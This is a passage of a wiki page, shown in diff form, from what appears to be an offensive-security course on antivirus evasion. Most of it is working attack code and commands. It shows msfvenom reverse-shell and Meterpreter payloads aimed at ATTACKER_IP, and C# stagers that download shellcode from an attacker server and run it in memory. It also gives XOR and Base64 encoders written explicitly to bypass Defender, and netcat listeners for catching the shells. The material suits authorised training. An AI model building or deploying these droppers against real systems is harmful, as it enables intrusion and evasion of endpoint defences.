* Finally, we execute the <code>syscall</code> instruction again to call the <code>sys_exit</code> function. This will exit the program. | * Finally, we execute the <code>syscall</code> instruction again to call the <code>sys_exit</code> function. This will exit the program. | ||
In summary, the code sets up the necessary registers and uses system calls (<code>sys_write</code> and <code>sys_exit</code>) to print the "Hello, World!" message and then exit the program. The message itself is stored at the <code>MESSAGE</code> label, and the <code>GOBACK</code> routine is used to retrieve its address before calling <code>sys_write</code>. | In summary, the code sets up the necessary registers and uses system calls (<code>sys_write</code> and <code>sys_exit</code>) to print the "Hello, World!" message and then exit the program. The message itself is stored at the <code>MESSAGE</code> label, and the <code>GOBACK</code> routine is used to retrieve its address before calling <code>sys_write</code>. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# Assembler and link our code | # Assembler and link our code | ||
user@AttackBox$ nasm -f elf64 helloworld.asm | user@AttackBox$ nasm -f elf64 helloworld.asm | ||
user@AttackBox$ ld helloworld.o -o helloworld | user@AttackBox$ ld helloworld.o -o helloworld | ||
| Line 2,465: | Line 1,918: | ||
"Hello, World!" | "Hello, World!" | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Lets extract the shellcode with the <code>objdump</code> command by dumping the .text section of the compiled binary. | Lets extract the shellcode with the <code>objdump</code> command by dumping the .text section of the compiled binary. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
objdump -d helloworld | objdump -d helloworld | ||
</syntaxhighlight> | </syntaxhighlight> | ||
To extract the hexadecimal values from the output, you can utilize <code>objcopy</code> to dump the .text section into a binary file named <code>helloworld.text</code>. | To extract the hexadecimal values from the output, you can utilize <code>objcopy</code> to dump the .text section into a binary file named <code>helloworld.text</code>. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
objcopy -j .text -O binary helloworld helloworld.text | objcopy -j .text -O binary helloworld helloworld.text | ||
</syntaxhighlight> | </syntaxhighlight> | ||
To convert the <code>helloworld.text</code> file containing the shellcode in binary format to hexadecimal, the <code>xxd</code> command with the <code>-i</code> option can be used to output the binary file as a C string. | To convert the <code>helloworld.text</code> file containing the shellcode in binary format to hexadecimal, the <code>xxd</code> command with the <code>-i</code> option can be used to output the binary file as a C string. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
xxd -i helloworld.text | xxd -i helloworld.text | ||
</syntaxhighlight> | </syntaxhighlight> | ||
To confirm that the extracted shellcode works as we expected, we can execute our shellcode and inject it into a C program. | To confirm that the extracted shellcode works as we expected, we can execute our shellcode and inject it into a C program. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
#include | #include | ||
int main(int argc, char **argv) { | int main(int argc, char **argv) { | ||
unsigned char message[] = { | unsigned char message[] = { | ||
**SHELLCODE** | **SHELLCODE** | ||
}; | }; | ||
(*(void(*)())message)(); | (*(void(*)())message)(); | ||
return 0; | return 0; | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Compile it | Compile it | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
gcc -g -Wall -z execstack helloworld.c -o helloworldx | gcc -g -Wall -z execstack helloworld.c -o helloworldx | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Generating shellcode === | === Generating shellcode === | ||
The advantage of generating shellcode via public tools is that we don't need to craft a custom shellcode from scratch, and we don't even need to be an expert in assembly language. Most public C2 frameworks provide their own shellcode generator compatible with the C2 platform. Of course, this is so convenient for us, but the drawback is that most, or we can say all, generated shellcodes are well-known to AV vendors and can be easily detected. | The advantage of generating shellcode via public tools is that we don't need to craft a custom shellcode from scratch, and we don't even need to be an expert in assembly language. Most public C2 frameworks provide their own shellcode generator compatible with the C2 platform. Of course, this is so convenient for us, but the drawback is that most, or we can say all, generated shellcodes are well-known to AV vendors and can be easily detected. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c | msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Add the shellcode to this C code which will inject it into memory and execute calc.exe. | Add the shellcode to this C code which will inject it into memory and execute calc.exe. | ||
<syntaxhighlight lang="c"> | <syntaxhighlight lang="c"> | ||
| Line 2,554: | Line 1,990: | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
The provided code snippet is a Windows C program that contains a shellcode stager. It first defines a shellcode as a character array. Then, in the <code>main()</code> function, it uses <code>VirtualProtect()</code> to mark the shellcode as executable. Next, it casts the shellcode array as a function pointer and executes the shellcode using the <code>shellcode()</code> function. | The provided code snippet is a Windows C program that contains a shellcode stager. It first defines a shellcode as a character array. Then, in the <code>main()</code> function, it uses <code>VirtualProtect()</code> to mark the shellcode as executable. Next, it casts the shellcode array as a function pointer and executes the shellcode using the <code>shellcode()</code> function. | ||
Overall, this code allows the execution of the shellcode stored in the <code>stager</code> array by marking it as executable and then invoking it as a function. | Overall, this code allows the execution of the shellcode stored in the <code>stager</code> array by marking it as executable and then invoking it as a function. | ||
Compile it. | Compile it. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
i686-w64-mingw32-gcc calc.c -o calc-MSF.exe | i686-w64-mingw32-gcc calc.c -o calc-MSF.exe | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Generate shellcode from EXE === | === Generate shellcode from EXE === | ||
Shellcode can also be stored in <code>.bin</code> files, which is a raw data format. To obtain shellcode from a raw binary file (.bin), we can use the <code>xxd -i</code> command in Linux. If a C2 Framework provides shellcode as a .bin file, we can convert it to its hexadecimal representation using this approach. Here are the steps to create a raw binary file and extract the shellcode: | Shellcode can also be stored in <code>.bin</code> files, which is a raw data format. To obtain shellcode from a raw binary file (.bin), we can use the <code>xxd -i</code> command in Linux. If a C2 Framework provides shellcode as a .bin file, we can convert it to its hexadecimal representation using this approach. Here are the steps to create a raw binary file and extract the shellcode: | ||
* Generate a raw shellcode to execute <code>calc.exe</code> using <code>msfvenom</code> and save it to <code>/tmp/example.bin</code>. The command is as follows: | * Generate a raw shellcode to execute <code>calc.exe</code> using <code>msfvenom</code> and save it to <code>/tmp/example.bin</code>. The command is as follows: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f raw > /tmp/example.bin | msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f raw > /tmp/example.bin | ||
</syntaxhighlight> | </syntaxhighlight> | ||
This command generates a raw payload without any encoding, resulting in a shellcode with a size of 193 bytes. | This command generates a raw payload without any encoding, resulting in a shellcode with a size of 193 bytes. | ||
* Verify the file type of <code>/tmp/example.bin</code> using the <code>file</code> command: | * Verify the file type of <code>/tmp/example.bin</code> using the <code>file</code> command: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
file /tmp/example.bin | file /tmp/example.bin | ||
</syntaxhighlight> | </syntaxhighlight> | ||
The output should indicate that <code>/tmp/example.bin</code> is a data file. | The output should indicate that <code>/tmp/example.bin</code> is a data file. | ||
* Extract the shellcode from the binary file using the <code>xxd -i</code> command: | * Extract the shellcode from the binary file using the <code>xxd -i</code> command: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
xxd -i /tmp/example.bin | xxd -i /tmp/example.bin | ||
</syntaxhighlight> | </syntaxhighlight> | ||
This command converts the binary file to its hexadecimal representation and outputs it as an array of unsigned characters (<code>_tmp_example_bin[]</code>). The length of the shellcode is also provided (<code>_tmp_example_bin_len = 193</code>). | This command converts the binary file to its hexadecimal representation and outputs it as an array of unsigned characters (<code>_tmp_example_bin[]</code>). The length of the shellcode is also provided (<code>_tmp_example_bin_len = 193</code>). | ||
By comparing the output with the previously created shellcode using Metasploit, you can verify that they match. | By comparing the output with the previously created shellcode using Metasploit, you can verify that they match. | ||
---- | ---- | ||
== Staged payloads == | == Staged payloads == | ||
Staged payloads are a technique used in exploit development and remote code execution scenarios. They involve breaking down the payload into multiple stages or steps, where each stage is responsible for executing a specific task and preparing the system for the final payload execution. | Staged payloads are a technique used in exploit development and remote code execution scenarios. They involve breaking down the payload into multiple stages or steps, where each stage is responsible for executing a specific task and preparing the system for the final payload execution. | ||
The final shellcode is loaded in memory and never touches the disk. This makes it less prone to be detected by AV solutions. | The final shellcode is loaded in memory and never touches the disk. This makes it less prone to be detected by AV solutions. | ||
Generate shellcode using msfvenom. | Generate shellcode using msfvenom. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=7474 -f raw -o shellcode.bin -b '\x00\x0a\x0d' | msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=7474 -f raw -o shellcode.bin -b '\x00\x0a\x0d' | ||
# -b '\x00\x0a\x0d': Sets a list of characters to avoid in the generated shellcode. The characters '\x00\x0a\x0d' correspond to null byte, line feed, and carriage return, which are common characters that can cause issues when injecting shellcode into certain parts of memory or when transmitting it over a network. | # -b '\x00\x0a\x0d': Sets a list of characters to avoid in the generated shellcode. The characters '\x00\x0a\x0d' correspond to null byte, line feed, and carriage return, which are common characters that can cause issues when injecting shellcode into certain parts of memory or when transmitting it over a network. | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Notice that we are using the raw format for our shellcode, as the stager will directly load whatever it downloads into memory. | Notice that we are using the raw format for our shellcode, as the stager will directly load whatever it downloads into memory. | ||
Use the staged payload below to fetch the generated shellcode.bin | Use the staged payload below to fetch the generated shellcode.bin | ||
[https://github.com/mvelazc0/defcon27_csharp_workshop/blob/master/Labs/lab2/2.cs https://github.com/mvelazc0/defcon27_csharp_workshop/blob/master/Labs/lab2/2.cs] | [https://github.com/mvelazc0/defcon27_csharp_workshop/blob/master/Labs/lab2/2.cs https://github.com/mvelazc0/defcon27_csharp_workshop/blob/master/Labs/lab2/2.cs] | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 2,653: | Line 2,059: | ||
using System.Runtime.InteropServices; | using System.Runtime.InteropServices; | ||
using System.Security.Cryptography.X509Certificates; | using System.Security.Cryptography.X509Certificates; | ||
public class Program { | public class Program { | ||
// P/Invoke to kernel32.VirtualAlloc | // P/Invoke to kernel32.VirtualAlloc | ||
[DllImport("kernel32")] | [DllImport("kernel32")] | ||
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); | private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); | ||
// P/Invoke to kernel32.CreateThread | // P/Invoke to kernel32.CreateThread | ||
[DllImport("kernel32")] | [DllImport("kernel32")] | ||
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId); | private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId); | ||
// P/Invoke to kernel32.WaitForSingleObject | // P/Invoke to kernel32.WaitForSingleObject | ||
[DllImport("kernel32")] | [DllImport("kernel32")] | ||
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); | private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); | ||
// Memory allocation constants | // Memory allocation constants | ||
private static UInt32 MEM_COMMIT = 0x1000; | private static UInt32 MEM_COMMIT = 0x1000; | ||
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; | ||
public static void Main() | public static void Main() | ||
{ | { | ||
| Line 2,676: | Line 2,077: | ||
Stager(url); | Stager(url); | ||
} | } | ||
public static void Stager(string url) | public static void Stager(string url) | ||
{ | { | ||
// Create a WebClient instance for downloading the shellcode | // Create a WebClient instance for downloading the shellcode | ||
WebClient wc = new WebClient(); | WebClient wc = new WebClient(); | ||
// Ignore certificate validation (for self-signed certificates) | // Ignore certificate validation (for self-signed certificates) | ||
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; | ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; | ||
// Set the security protocol to TLS 1.2 | // Set the security protocol to TLS 1.2 | ||
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; | ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; | ||
// Download the shellcode from the specified URL | // Download the shellcode from the specified URL | ||
byte[] shellcode = wc.DownloadData(url); | byte[] shellcode = wc.DownloadData(url); | ||
// Allocate memory for the shellcode to be executed | // Allocate memory for the shellcode to be executed | ||
UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); | UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); | ||
// Copy the shellcode to the allocated memory | // Copy the shellcode to the allocated memory | ||
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length); | Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length); | ||
// Variables for thread creation and execution | // Variables for thread creation and execution | ||
IntPtr threadHandle = IntPtr.Zero; | IntPtr threadHandle = IntPtr.Zero; | ||
UInt32 threadId = 0; | UInt32 threadId = 0; | ||
IntPtr parameter = IntPtr.Zero; | IntPtr parameter = IntPtr.Zero; | ||
// Create a new thread to execute the shellcode | // Create a new thread to execute the shellcode | ||
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId); | threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId); | ||
// Wait for the thread to finish executing the shellcode | // Wait for the thread to finish executing the shellcode | ||
WaitForSingleObject(threadHandle, 0xFFFFFFFF); | WaitForSingleObject(threadHandle, 0xFFFFFFFF); | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''Another version ''' | '''Another version ''' | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 2,721: | Line 2,110: | ||
using System.Runtime.InteropServices; | using System.Runtime.InteropServices; | ||
using System.Security.Cryptography.X509Certificates; | using System.Security.Cryptography.X509Certificates; | ||
public class Program | public class Program | ||
{ | { | ||
| Line 2,727: | Line 2,115: | ||
[DllImport("kernel32")] | [DllImport("kernel32")] | ||
private static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); | private static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); | ||
// P/Invoke to kernel32.CreateThread | // P/Invoke to kernel32.CreateThread | ||
[DllImport("kernel32")] | [DllImport("kernel32")] | ||
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId); | private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId); | ||
// P/Invoke to kernel32.WaitForSingleObject | // P/Invoke to kernel32.WaitForSingleObject | ||
[DllImport("kernel32")] | [DllImport("kernel32")] | ||
private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); | private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); | ||
// Memory allocation constants | // Memory allocation constants | ||
private static uint MEM_COMMIT = 0x1000; | private static uint MEM_COMMIT = 0x1000; | ||
private static uint PAGE_EXECUTE_READWRITE = 0x40; | private static uint PAGE_EXECUTE_READWRITE = 0x40; | ||
public static void Main() | public static void Main() | ||
{ | { | ||
// URL for the second stage payload | // URL for the second stage payload | ||
string stage2Url = "https://attacker-server.com/stage2.bin"; | string stage2Url = "https://attacker-server.com/stage2.bin"; | ||
// Download and execute the second stage payload | // Download and execute the second stage payload | ||
DownloadAndExecute(stage2Url); | DownloadAndExecute(stage2Url); | ||
} | } | ||
public static void DownloadAndExecute(string url) | public static void DownloadAndExecute(string url) | ||
{ | { | ||
| Line 2,754: | Line 2,136: | ||
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; | ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; | ||
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; | ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; | ||
// Download the second stage payload | // Download the second stage payload | ||
byte[] payload = wc.DownloadData(url); | byte[] payload = wc.DownloadData(url); | ||
// Allocate memory for the payload | // Allocate memory for the payload | ||
IntPtr payloadAddress = VirtualAlloc(IntPtr.Zero, (uint)payload.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); | IntPtr payloadAddress = VirtualAlloc(IntPtr.Zero, (uint)payload.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); | ||
// Copy the payload to the allocated memory | // Copy the payload to the allocated memory | ||
Marshal.Copy(payload, 0, payloadAddress, payload.Length); | Marshal.Copy(payload, 0, payloadAddress, payload.Length); | ||
// Execute the payload in a new thread | // Execute the payload in a new thread | ||
IntPtr threadHandle; | IntPtr threadHandle; | ||
uint threadId; | uint threadId; | ||
threadHandle = CreateThread(IntPtr.Zero, 0, payloadAddress, IntPtr.Zero, 0, out threadId); | threadHandle = CreateThread(IntPtr.Zero, 0, payloadAddress, IntPtr.Zero, 0, out threadId); | ||
// Wait for the thread to finish executing the payload | // Wait for the thread to finish executing the payload | ||
WaitForSingleObject(threadHandle, 0xFFFFFFFF); | WaitForSingleObject(threadHandle, 0xFFFFFFFF); | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
We can compile the staged payload by using <code>csc</code> on linux. | We can compile the staged payload by using <code>csc</code> on linux. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
csc staged-payload.cs | csc staged-payload.cs | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Setup a simple HTTPS server. | Setup a simple HTTPS server. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodes | openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodes | ||
</syntaxhighlight> | </syntaxhighlight> | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
python3 -c "import http.server, ssl;server_address=('0.0.0.0',443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile='localhost.pem',ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()" | python3 -c "import http.server, ssl;server_address=('0.0.0.0',443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile='localhost.pem',ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()" | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Catch the reverse shell | Catch the reverse shell | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
nc -lvp 7474 | nc -lvp 7474 | ||
</syntaxhighlight> | </syntaxhighlight> | ||
---- | ---- | ||
== Encoding and Encryption == | == Encoding and Encryption == | ||
=== What is encoding? === | === What is encoding? === | ||
Encoding refers to the process of transforming data into a specific format or representation, often depending on a particular algorithm or encoding type. It is commonly used in various contexts, such as program execution, data storage and transmission, and file conversion. Encoding can be applied to different types of data, including videos, HTML, URLs, and binary files like executables and images. | Encoding refers to the process of transforming data into a specific format or representation, often depending on a particular algorithm or encoding type. It is commonly used in various contexts, such as program execution, data storage and transmission, and file conversion. Encoding can be applied to different types of data, including videos, HTML, URLs, and binary files like executables and images. | ||
=== What is encryption? === | === What is encryption? === | ||
Encryption plays a crucial role in ensuring information and data security. It focuses on protecting data from unauthorized access and manipulation. Encryption involves converting plain, unencrypted content (plaintext) into an encrypted form (ciphertext) using an encryption algorithm and a key. Without knowledge of the algorithm and the key, the ciphertext cannot be read or decrypted. | Encryption plays a crucial role in ensuring information and data security. It focuses on protecting data from unauthorized access and manipulation. Encryption involves converting plain, unencrypted content (plaintext) into an encrypted form (ciphertext) using an encryption algorithm and a key. Without knowledge of the algorithm and the key, the ciphertext cannot be read or decrypted. | ||
== Shellcode encoding and encryption == | == Shellcode encoding and encryption == | ||
=== List encoders within metasploit framework. === | === List encoders within metasploit framework. === | ||
Notice that all of the public encoders will be detected by AV as soon as it touches the victims disk. | Notice that all of the public encoders will be detected by AV as soon as it touches the victims disk. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
msfvenom --list encoders | grep excellent | msfvenom --list encoders | grep excellent | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Example of using <code>shikata_ga_nai</code> encoding. | Example of using <code>shikata_ga_nai</code> encoding. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
msfvenom -a x86 --platform Windows LHOST=ATTACKER_IP LPORT=443 -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f csharp | msfvenom -a x86 --platform Windows LHOST=ATTACKER_IP LPORT=443 -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f csharp | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Listing encryptions modules within Metasploit framework === | === Listing encryptions modules within Metasploit framework === | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
msfvenom --list encrypt | msfvenom --list encrypt | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Example of using XOR encrypted payload. | Example of using XOR encrypted payload. | ||
In XOR encryption, each character of the plaintext (the original unencrypted message) is combined with a corresponding character from a secret key using the XOR operation. The secret key is a sequence of characters that serves as the encryption key. The XOR operation is applied bitwise, meaning it compares each corresponding bit of the plaintext character and the key character. | In XOR encryption, each character of the plaintext (the original unencrypted message) is combined with a corresponding character from a secret key using the XOR operation. The secret key is a sequence of characters that serves as the encryption key. The XOR operation is applied bitwise, meaning it compares each corresponding bit of the plaintext character and the key character. | ||
Notice that the payload will be flagged by the AV. The reason is still that AV vendors have invested lots of time into ensuring simple msfvenom payloads are detected. | Notice that the payload will be flagged by the AV. The reason is still that AV vendors have invested lots of time into ensuring simple msfvenom payloads are detected. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=7788 -f exe --encrypt xor --encrypt-key "MyZekr3tKey***" -o xored-revshell.exe | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=7788 -f exe --encrypt xor --encrypt-key "MyZekr3tKey***" -o xored-revshell.exe | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Creating custom encoders === | === Creating custom encoders === | ||
==== Encoder ==== | ==== Encoder ==== | ||
We will take a simple reverse shell generated by msfvenom and use a combination of XOR and Base64 to bypass Defender. | We will take a simple reverse shell generated by msfvenom and use a combination of XOR and Base64 to bypass Defender. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
msfvenom LHOST=ATTACKER_IP LPORT=443 -p windows/x64/shell_reverse_tcp -f csharp | msfvenom LHOST=ATTACKER_IP LPORT=443 -p windows/x64/shell_reverse_tcp -f csharp | ||
</syntaxhighlight> | </syntaxhighlight> | ||
In the code below we will be XORing the payload with a custom key first and then encoding it using base64. This is just an example and you should write your own custom encoder in order to evade detection. | In the code below we will be XORing the payload with a custom key first and then encoding it using base64. This is just an example and you should write your own custom encoder in order to evade detection. | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 2,891: | Line 2,236: | ||
using System.Text; | using System.Text; | ||
using System.Threading.Tasks; | using System.Threading.Tasks; | ||
namespace Encrypter | namespace Encrypter | ||
{ | { | ||
| Line 2,908: | Line 2,252: | ||
//XOR Key - It has to be the same in the Droppr for Decrypting | //XOR Key - It has to be the same in the Droppr for Decrypting | ||
string key = "THMK3y123!"; | string key = "THMK3y123!"; | ||
//Convert Key into bytes | //Convert Key into bytes | ||
byte[] keyBytes = Encoding.ASCII.GetBytes(key); | byte[] keyBytes = Encoding.ASCII.GetBytes(key); | ||
//Original Shellcode here (csharp format) | //Original Shellcode here (csharp format) | ||
byte[] buf = new byte[460] { 0xfc,0x48,0x83,..,0xda,0xff,0xd5 }; | byte[] buf = new byte[460] { 0xfc,0x48,0x83,..,0xda,0xff,0xd5 }; | ||
//XORing byte by byte and saving into a new array of bytes | //XORing byte by byte and saving into a new array of bytes | ||
byte[] encoded = xor(buf, keyBytes); | byte[] encoded = xor(buf, keyBytes); | ||
| Line 2,922: | Line 2,263: | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Remember to replace the <code>buf</code> variable with the shellcode you generated with msfvenom. | Remember to replace the <code>buf</code> variable with the shellcode you generated with msfvenom. | ||
==== Self-decoding Payload ==== | ==== Self-decoding Payload ==== | ||
Since we have an encoded payload, we need to adjust our code so that it decodes the shellcode before executing it. To match the encoder, we will decode everything in the reverse order we encoded it, so we start by decoding the base64 content and then continue by XORing the result with the same key we used in the encoder. | Since we have an encoded payload, we need to adjust our code so that it decodes the shellcode before executing it. To match the encoder, we will decode everything in the reverse order we encoded it, so we start by decoding the base64 content and then continue by XORing the result with the same key we used in the encoder. | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 2,938: | Line 2,275: | ||
using System.Text; | using System.Text; | ||
using System.Runtime.InteropServices; | using System.Runtime.InteropServices; | ||
public class Program { | public class Program { | ||
// Import required functions from kernel32.dll | // Import required functions from kernel32.dll | ||
[DllImport("kernel32")] | [DllImport("kernel32")] | ||
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); | private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); | ||
[DllImport("kernel32")] | [DllImport("kernel32")] | ||
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId); | private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId); | ||
[DllImport("kernel32")] | [DllImport("kernel32")] | ||
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); | private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); | ||
// Constants for memory allocation and protection | // Constants for memory allocation and protection | ||
private static UInt32 MEM_COMMIT = 0x1000; | private static UInt32 MEM_COMMIT = 0x1000; | ||
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; | ||
// XOR operation between shell and key bytes | // XOR operation between shell and key bytes | ||
private static byte[] xor(byte[] shell, byte[] keyBytes) | private static byte[] xor(byte[] shell, byte[] keyBytes) | ||
| Line 2,963: | Line 2,295: | ||
return shell; | return shell; | ||
} | } | ||
public static void Main() | public static void Main() | ||
{ | { | ||
| Line 2,970: | Line 2,301: | ||
// Convert Base64 string to byte array | // Convert Base64 string to byte array | ||
byte[] data = Convert.FromBase64String(dataBS64); | byte[] data = Convert.FromBase64String(dataBS64); | ||
// Key used for XOR encoding | // Key used for XOR encoding | ||
string key = "THMK3y123!"; | string key = "THMK3y123!"; | ||
// Convert key into bytes | // Convert key into bytes | ||
byte[] keyBytes = Encoding.ASCII.GetBytes(key); | byte[] keyBytes = Encoding.ASCII.GetBytes(key); | ||
// XOR encode the shellcode | // XOR encode the shellcode | ||
byte[] encoded = xor(data, keyBytes); | byte[] encoded = xor(data, keyBytes); | ||
// Allocate memory with execute, read, and write permissions | // Allocate memory with execute, read, and write permissions | ||
UInt32 codeAddr = VirtualAlloc(0, (UInt32)encoded.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); | UInt32 codeAddr = VirtualAlloc(0, (UInt32)encoded.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); | ||
// Copy encoded shellcode into the allocated memory | // Copy encoded shellcode into the allocated memory | ||
Marshal.Copy(encoded, 0, (IntPtr)(codeAddr), encoded.Length); | Marshal.Copy(encoded, 0, (IntPtr)(codeAddr), encoded.Length); | ||
IntPtr threadHandle = IntPtr.Zero; | IntPtr threadHandle = IntPtr.Zero; | ||
UInt32 threadId = 0; | UInt32 threadId = 0; | ||
| Line 2,989: | Line 2,316: | ||
// Create a new thread to execute the shellcode | // Create a new thread to execute the shellcode | ||
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId); | threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId); | ||
// Wait for the thread to finish executing | // Wait for the thread to finish executing | ||
WaitForSingleObject(threadHandle, 0xFFFFFFFF); | WaitForSingleObject(threadHandle, 0xFFFFFFFF); | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
---- | ---- | ||
== DLL Sideloading and Proxying == | == DLL Sideloading and Proxying == | ||
=== Sideloading === | === Sideloading === | ||
